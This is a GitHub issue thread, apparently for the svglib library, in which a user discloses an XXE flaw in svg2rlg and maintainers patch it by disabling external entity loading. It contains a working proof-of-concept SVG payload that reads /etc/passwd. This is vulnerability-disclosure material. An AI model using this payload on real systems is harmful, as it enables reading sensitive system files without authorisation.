

No disabling external entity expansion (XXE) #229



New issue

⊙ Closed MrLion9 opened this issue on Feb 25, 2020 · 9 comments

```
MrLion9 commented on Feb 25, 2020 • edited ▼
Hil\ I\ found\ that\ I\ can\ perform\ XXE\ attack\ (https://en.wikipedia.org/wiki/XML\_external\_entity\_attack)\ when\ using\ svg2rlg\ function
   saved_image_path = 'test_png.png'
  renderPM.drawToFile(drawing, saved_image_path, fmt="PNG")
Payload (test.svg)
   <?xml version="1.0" standalone="no"?>
  <!DOCTYPE svg [
    <!ENTITY xxe SYSTEM "/etc/passwd">
  xmlns="http://www.w3.org/2000/svg" version="1.1">
<desc>Example text01 - 'Hello, out there' in blue</desc>
    <text x="250" y="150"
            font-family="Verdana" font-size="55" fill="blue" >
     &xxe;
    </text>
    <!-- Show outline of canvas using 'rect' element -->
<rect x="1" y="1" width="998" height="298"
    fill="none" stroke="blue" stroke-width="2" />
  </svg>
(<u>i</u> 1)
```

deeplook commented on Feb 25, 2020 Owner It would be nice to put a link like this with your description, if this is what you mean... https://en.wikipedia.org/wiki/XML\_external\_entity\_attack

MrLion9 commented on Feb 25, 2020 Author Yes, that's what I meant )

averonesis commented on Mar 6, 2020 Hello @deeplook will you fix the issue?

claudep commented on Mar 6, 2020 Collaborator Hello @averonesis will you suggest a patch?

claudep added a commit to claudep/svglib that referenced this issue on Mar 7, 2020

A Fixes deeplook#229 - External entity loading disabled by default

0c03e46

Collaborator

Jump to bottom

claudep commented on Mar 7, 2020 Collaborator @MrLion9, could you have a look at the patch, please? 

averonesis commented on Mar 7, 2020 @claudep yep, looks good, thank you!

MrLion9 closed this as completed on Mar 10, 2020

claudep commented on Mar 10, 2020

